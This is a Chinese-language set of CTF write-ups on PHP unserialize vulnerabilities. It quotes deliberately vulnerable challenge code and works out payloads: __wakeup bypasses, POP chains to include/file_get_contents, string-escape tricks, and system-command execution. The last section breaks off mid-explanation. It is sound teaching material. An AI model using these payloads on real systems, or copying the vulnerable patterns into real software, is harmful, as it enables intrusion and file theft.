Php
php中常用的几种魔术方法和触发条件
__construct :当一个对象创建时被调用
__destruct :当一个对象销毁时被调用
__toString :当一个类或对象被当作一个字符串被调用
__wakeup :当一个对象使用 unserialize 时触发,反序列化时触发
__sleep :当一个对象使用 serialize 时触发,序列化时触发
__get :当一个对象读取不可访问属性的值时触发
__set :当一个对象在给不可访问属性赋值时
__isset :当一个对象当对不可访问属性调用 isset 或 empty 时触发
__unset :当一个对象对不可访问属性调用 unset 时触发
__invoke :当一个对象尝试以调用函数的方式调用一个对象时触发
__set_state :当一个对象调用 var_export 导出类时,此静态方法会被调用
__call :当一个对象在对象上下文中调用不可访问的方法时触发
__callStatic :当一个对象在静态上下文中调用不可访问的方法时触发
不同属性之间的区别
public 变量(公有)
直接将变量名反序列化出来
protected 变量(受保护)
\x00 + * + \x00 + 变量名
private 变量(私有)
\x00 + 类名 + \x00 + 变量名
Web_php_unserialize
感谢xctf平台,题目链接
题目代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
由代码可知,题目提供了一个var
参数给我们进行get
传参,首先先对var
进行base64
解码,然后进入if
判断语句,若判断条件不成立就进入else
,进行unserialize
操作,题目提供了一个Demo
类来进行序列化操作,且其中的__destruct
方法可以将代码显示出来,题目提示了the secret is in the fl4g.php
,flag应该就在fl4g.php
中,于是寻找突破点
题目限制条件:
preg_match(‘/[oc]:\d+:/i’, $var):对传入的var经过base64解密后的字符串进正则匹配,来防止反序列化操作
__wakeup
函数:__wakeup()
是用在反序列化操作中。unserialize()
会检查存在一个__wakeup()
方法。如果存在,则先会调用__wakeup()
方法,在这里这个函数会将file
赋值为index.php
可是这两种方法都可以进行绕过:
preg_match():这个正则匹配函数是用来防止反序列化的开头的,如
O:4:
即可匹配上,但可以用+进行绕过,可以写成O:+4:
反序列化函数一样识别
__wakeup
函数:__wakeup()
漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup
的执行。例如O:4:"Demo":1:
,Demo后面的1表示的就是类的属性个数,将1改大即可跳过__wakeup
函数的执行
于是构造payload:O:+4:"Demo":4:{s:10:" Demo file";s:8:"fl4g.php";}
注意file
前面的Demo
左右需要有%00
序列化后:
v1 表示 public %00Demo%00v2 表示 private(Demo为类名) %00*%00v3 表示 protected v1,v2,v3为属性名
base64
编码后TzorNDoiRGVtbyI6NDp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
参考:
php序列化与反序列化入门
魔术方法__sleep()
,__wakeup()
__wakeup()函数漏洞以及实际漏洞分析
PS:php代码审计是个大坑,刚接触的话上手还是有点困难,还是要多看看php代码,需要有面向对象编程的思想,否则代码量大的就比较难入手;序列化算是一个重点了吧,原来就接触过好多这样的题,但都不怎么看得懂,所以就都略过了,现在学了点php基础勉强能够看的懂,总之多看多思考,慢慢来吧。
极客大挑战-2019—PHP
界面:
题目提示网站有备份,于是访问www.zip
,得到网页源码:
index.php
<!DOCTYPE html>
<head>
......
</head>
<style>
......
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
注意到index.php中有对get的select参数进行反序列化操作,并且题目给了一个class.php中的Name类,于是构造反序列化条件:
观察chass.php代码发现只要令password=100,username=admin,且绕过__wakeup函数即可,于是得到payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
传入即可
MRCTF—Ezpop
题目源码:
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
一步步审计代码
首先看到最后的if语句,题目给出了一个可以get的pop参数,随后对其进行反序列化操作,于是直接想到利用反序列化漏洞,再往上看找利用点
题目给出了三个类,观察可利用点可以在Modifier
对象中看到一个include函数,这里就可以利用文件包含从而达到任意文件读取的效果,具体方法只要令include
的value
为php://filter/read=convert.base64-encode/resource=./flag.php
即可读取flag文件,所以就需要想办法利用这个点
可用看到Modifier
对象中有一个__invoke
方法代码如下
public function __invoke(){
$this->append($this->var);
}
里面调用了可触发条件的append
方法,而此方法中的var
属性是可控的,于是就可以直接利用var
属性来调用append
方法,从而达到文件包含的效果,初步构造序列化参数
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
}
$a = new Modifier;
而__invoke
函数的使用方法是当尝试以调用函数的方法调用一个对象时触发,于是找到可触发条件,可以在下面的Test
对象中看到一个__get
方法
public function __get($key){
$function = $this->p;
return $function();
}
这个方法里面返回的参数刚好可以作为函数条件调用一个对象,于是可以利用此方法调用Modifier
对象,只需令里面的参数p
为创建的新的Modifier
对象即可,就可以触发__invoke
函数,而Test
对象中的参数p
是可控的,于是就可以进一步构造序列化参数
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
}
class Test
{
public $p;
}
$a = new Modifier;
$b = new Test;
$b->p = $a;
随后就需要想办法如何触发__get
函数,__get
函数的触发条件是当对象读取不可访问的属性的时候触发,于是就需要构造一个不可访问的属性来触发此函数,当然这个属性在对象内部肯定是不存在的,于是就要到外部去找,可以看到Show
对象中的__toString
方法
public function __toString(){
return $this->str->source;
}
这里就可以构造str
参数为一个Test
对象,然后调用source
属性,而Test
对象中是没有source
这个属性的,这样就可以触发对象中的__get
方法,而Show
对象中的str
属性是可控的,于是就可以接着构造
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
}
class Show
{
public $str;
}
class Test
{
public $p;
}
$a = new Modifier;
$b = new Test;
$b->p = $a;
$c = new Show;
$c->str = $b
然后就该想想__toString
方法该如何触发了,__toString
方法触发条件是当对象被当做一个字符串被调用,于是寻找触发点可以在函数下方看到一个__wakeup
方法
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
__wakeup
函数之中的source
属性在进行preg_match
正则匹配的时候会被当做一个字符串来使用,于是就可以令source
属性为上一个构造的Show
对象,这样在进行正则匹配判断的时候就会吧这个对象当做字符串来处理,从而就可以触发__toString
方法,于是就可以写出构造方法
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$a = new Modifier;
$b = new Test;
$b->p = $a;
$c = new Show;
$c->str = $b;
$d = new Show;
$d->source = $c;
__wakeup
触发的条件是当我们反序列化这个对象的时候就会触发这个函数,这个方法就无需我们再去找触发点了,只需要把Show
反序列化就可以了,而这题的pop
参数就提供了这样的条件,于是最终构造出序列化方法
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$a = new Modifier;
$b = new Test;
$b->p = $a;
$c = new Show;
$c->str = $b;
$d = new Show;
$d->source = $c;
echo serialize($d);
于是最总payload:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:59:"php://filter/read=convert.base64-encode/resource=./flag.php";}}}s:3:"str";N;}
get传入pop=payload即可得到base64加密后的flag,解密即可。
0CTF 2016-piapiapia
界面:
题目一共四个界面,login,register,update和profile(也就是第一个显示界面)
前期探测sql注入和文件上传好像都没啥效果,随后扫一下发现存在www.zip源码泄露,代码审计
简单看一下,省略HTML和一些无关部分
index.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
......(html)
register.php
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
......(html)
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname3'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
......(html)
<?php
}
?>
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
......(html)
<?php
}
?>
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
看最后一个config.php中包含flag,题目要求应该是要我们config.php文件,寻找利用点
在profile.php中看到有一行代码:
$photo = base64_encode(file_get_contents($profile['photo']));
明显的文件读取操作,而在代码上发现有一个反序列化操作
$profile = unserialize($profile);
找到$profile
的定义
$profile=$user->show_profile($username);
跟进show_profile
函数
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
存在一个对数据库的查询操作,于是寻找数据库写入操作
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
在找到引用过这个函数的代码,在update.php中
$user->update_profile($username, serialize($profile));
可看到存在序列化操作,至此关系以及理清楚
通过对$profile
传入序列化后的字符串再绕过阻碍达到利用file_get_contents
读取文件的操作
再细看代码:
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname3'];
$profile['photo'] = 'upload/' . md5($file['name']);
$profile是这样定义的结合上面的读取文件操作可知其中的photo变量如果控制令其为config.php即可读取到flag,于是初步payload:
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"aa@aa.com";s:8:"nickname";s:3:"aaa";s:5:"photo";s:10:"config.php";}s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}
反序列化只反到第一个}
结束,后面的自动丢弃,但是photo似乎不是我们能够直接控制的,源码中photo= 'upload/' . md5($file['name']);
,也就是说我们不能直接更改photo中的内容了,于是就需要找到序列化后的其它可利用参数再其后写上s:5:"photo";s:10:"config.php";}
,达到修改的效果,phone,email,nickname都是我们可控的,而phone和email经过了严格的过滤(详情看上面的update.php源码),再来看看nickname:
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
nickname[]
数组绕过preg_match
和strlen
即可,两边判断均为false
,故不会执行if中的语句,于是再构造payload:
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"aa@aa.com";s:8:"nickname";a:1:{i:0;s:3:"aaa";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}
到这里是否就已经可以成功读取到文件了呢?并非如此,如果要进行如上的操作,就需要给nickname[]
传";}s:5:"photo";s:10:"config.php";}
这样的一个值,传入后将会是这个样子
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"aa@aa.com";s:8:"nickname";a:1:{i:0;s:34:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}
虽然看上去大括号被闭合了,但是要注意到s:34
这里,在反序列化的时候进行数据读取的时候依然会读取到引号中的34位字符,就对于没有闭合上,那有该如何利用呢?再接着看代码,
看看将$profile
序列化结果存入数据库时的操作:
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
可看见对传入的参数进行了处理,跟进父类的filter
方法:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
可见$string
参数经过了两次过滤,第一次等于没用,两次应该都是来防止sql注入的,但这里似乎也不存在sql注入,序列化后的$profile
不可能有sql注入风险,而$username
的取值来自$_SESSION['username']
,而username
的session
是系统分配的,这里也不存在sql注入,所以想想怎么利用在反序列化上面
这里就涉及到本题的核心了,反序列化长度逃逸字符
在php反序列化的守护是根据s后面的值来取字符串长度的,而在filter
方法总存在preg_replace
替换,如果有'select', 'insert', 'update', 'delete', 'where'
其中之一就替换成'hacker'
,hacker
长度为6位,试想如果替换了里面长度小于6位的字符串,而s后的取值长度发值有没变,那么就会有末尾的字符溢出不会被读取到,而没被读取到的话自然就被当做序列化后的格式处理,再结合这里,改闭合的大括号就可以闭合的上,再看看我们需要逃逸的字符串";}s:5:"photo";s:10:"config.php";}
,就是这34位,而替换的字符串中正好一个有比hacker
短的字符串where
,那么一次就可以逃逸一个出来,那么直接传入34个where
就可以将";}s:5:"photo";s:10:"config.php";}
完整的逃逸出来,于是最终payload
如下:
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"aa@aa.com";s:8:"nickname";a:1:{i:0;s:34:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}
令nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
即可
随后发包:
查看profile.php
网页页面源代码,将图片的base64解可得到config.php
的内容,即可得到flag
NPUCTF2020-ReadlezPHP
F12后点进去可以看到源码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
2020-04-22 10:14:24
简单的反序列化
__destruct
方法在反序列化的时候触发,里面的$b($a)
即作为代码执行的条件,于是可以构造assert(phpinfo())
,payload
如下:
<?php
class HelloPhp
{
public $a = 'phpinfo()';
public $b = "assert";
}
$c = new HelloPhp();
echo serialize($c);
将结果传入data
搜索flag即可得到flag
安洵杯-2019-easy_serialize_php
题目给出了源码:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="../index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
在令$function == 'phpinfo'
时查看phpinfo()
内容发现存在d0g3_f1ag.php
文件,推测flag在其中,于是想办法构造文件读取方法
不难看到代码中有一个extract()
函数,这个函数如果没设置extract_rules
为EXTR_SKIP
则会覆盖原有变量
- extract(): 函数从数组中将变量导入到当前的符号表。参考
那么我们如果想要读取d0g3_f1ag.php
文件的内容就需要令反序列化后的$_SESSION['img']
为d0g3_f1ag.php => ZDBnM19mMWFnLnBocA==
则初步反序列化内容s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
再看到$serialize_info = filter(serialize($_SESSION));
,先经过序列化,然后在进行filter
函数,也就是过滤替换操作,这样的话就很有可能会造成序列化字符串逃逸的问题,于是构造利用payload:
_SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"f";s:1:"a";}
由于_SESSION
数组有3个值,则需要在后面补充随便一个值即可
传入后$serialize_info
的就为以下值
a:3:{s:4:"user";s:22:"";s:8:"function";s:34:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
user
闭合";s:8:"function";s:34:
,随后再读取s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
,随后大括号闭合,后面的";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
值丢弃
读取到d0g3_f1ag.php
内容为
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
再依法读取/d0g3_fllllllag
即可
_SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"f";s:1:"a";}
[网鼎杯 2020 朱雀组]phpweb
题目每隔一段时间都会自动发一个包刷新一下网页,抓包下来看看发来了啥数据
测试后报错得到函数调用了call_user_func()
函数,该函数把第一个参数作为回调函数调用,也就是说这个数据包调用了date函数,传入了后面为p的参数,并且执行了函数输出了结果
于是用system
函数测试命令执行
被过滤了,于是直接将index.php
的源码读取出来(读根目录没有flag),func=readfile&p=index.php
,得到源码:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
果不其然过滤了很多命令执行的函数,用的in_array
函数进行对比,但是可以看到改函数的Test
方法,里面也调用了gettime
方法,于是构造反序列化利用
exp:
<?php
class Test {
public $p = "find / -name *flag*";
public $func = "system";
}
$b = new Test();
echo serialize($b);
O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
传入找到flag所在的文件
尝试读取
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
得到flag
[2020 第四届 强网杯]-web辅助
题目给出了源码,挑重点看:
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name = 'Yasuo'){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
//topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr($this->name, 'Yasuo')->jungle->__toString()->KS()
?>
题目给出了cat /flag
的函数,于是我们只需要想办法触发该方法即可
分析反序列化链:
topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr($this->name, 'Yasuo')->jungle->__toString()->KS()
其中有几个需要绕过的点:
__wakeup
函数,老考点了,改变序列化后的对象属性即可
而在common.php
中有个check
函数需要绕过:
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
- 这里利用十六进制bypass属性名,即
name->\6e\61\6d\65
于是构造payload:
$a = new jungle();
$b = new midsolo();
$b->name = $a;
$c = new topsolo();
$c->name = $b;
var_dump(serialize($c));
$user = '0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0';
$pass = '0";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:7:"Lee Sin";}}}};';
传入即可cat /flag
[2021 卫生健康行业CTF]-medical
题目提示:反序列化字符串逃逸;static目录下面有源码泄露;php的反序列化
static下有www.zip
源码包
下下来看源码,采用的是MVC架构
直接看到Service.class.php
<?php
class Service{
public $_if_action=true;
public $post;
public $view;
public function __construct($config){
$this->view=$config['view'];
$this->post=$config['post'];
}
public function index(){
$serialize_data=serialize($this->post);
if(santi($serialize_data)){
$data = unserialize(preg_replace('/s:/', 'S:', $serialize_data));
$this->view->user_view($data['Location']);
}else{
$this->view->user_view("Bad strings.");
}
}
public function __call($function, $arg){
return file_get_contents('/flag');
}
}
index方法中有反序列化点
看一下user_view
方法,传入的值被当作字符串来使用
public function user_view($text, $flag=False){
if($flag){
if($this->return_string!=='False'?$this->return_string:False){
echo "Hello,".$this->return_string."!","You have made an appointment successfully!";
}elseif(!empty($text)){
echo $text;
}else{
echo "";
}
}else{
$this->return_string = $text;
}
}
看到Request.class.php
中的魔术方法__toString
<?php
class Request
{
public $config;
public $hhhhh;
public $hhhh;
function __construct(){
$this->config['post']=$_POST;
$this->config['get']=$_GET;
$this->config['input']=file_get_contents('php://input');
$this->config['headers']=apache_request_headers();
}
public function __destruct(){
echo $this->hhhh.'';
}
public function __toString(){
return $this->hhhhh->b;
}
public function __wakeup(){
}
}
再看到index.class.php
,其中有一个__get
方法
<?php
class Index{
public $view;
public $_if_action=True;
public $file;
public function __construct($config){
$this->view=$config['view'];
}
public function index(){
// $this->view->html('home');
}
public function __call($function_name, $function_arg){
$this->view->html("$function_name");
}
public function __get($name){
return file_get_contents('/flag');
}
public function __toString(){
if($this->file=='/flag'){
return file_get_contents($this->file);
}
return '';
}
public function __wakeup(){
$this->file='/hint';
}
}
于是构造链路就出来了:Request->__toString => Index->__get
<?php
class Request
{
public $hhhhh;
public function __construct(){
$this->hhhhh = new Index();
}
}
class Index
{}
echo serialize(new Request());
结果如下
O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}
然而直接传是没有用的,index中$data['Location']
的值还会是一个字符串类型的,写一个简单的例子
<?php
$config = array();
$config['post']=$_POST;
$serialize_data=serialize($config['post']);
$data = unserialize(preg_replace('/s:/', 'S:', $serialize_data));
print_r(preg_replace('/s:/', 'S:', $serialize_data));
var_dump($data['Location']);
post一个Location=O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}
,返回结果如下
a:1:{S:8:"Location";S:46:"O:7:"Request":1:{S:5:"hhhhh";O:5:"Index":0:{}}";}
D:\phpstudy\WWW\index.php:8:string 'O:7:"Request":1:{S:5:"hhhhh";O:5:"Index":0:{}}' (length=46)
payload还是会被识别成字符串,这时候,题目中的preg_replace
的作用就来了
在php反序列化中,为了避免信息丢失,使用大写S支持字符串的编码。
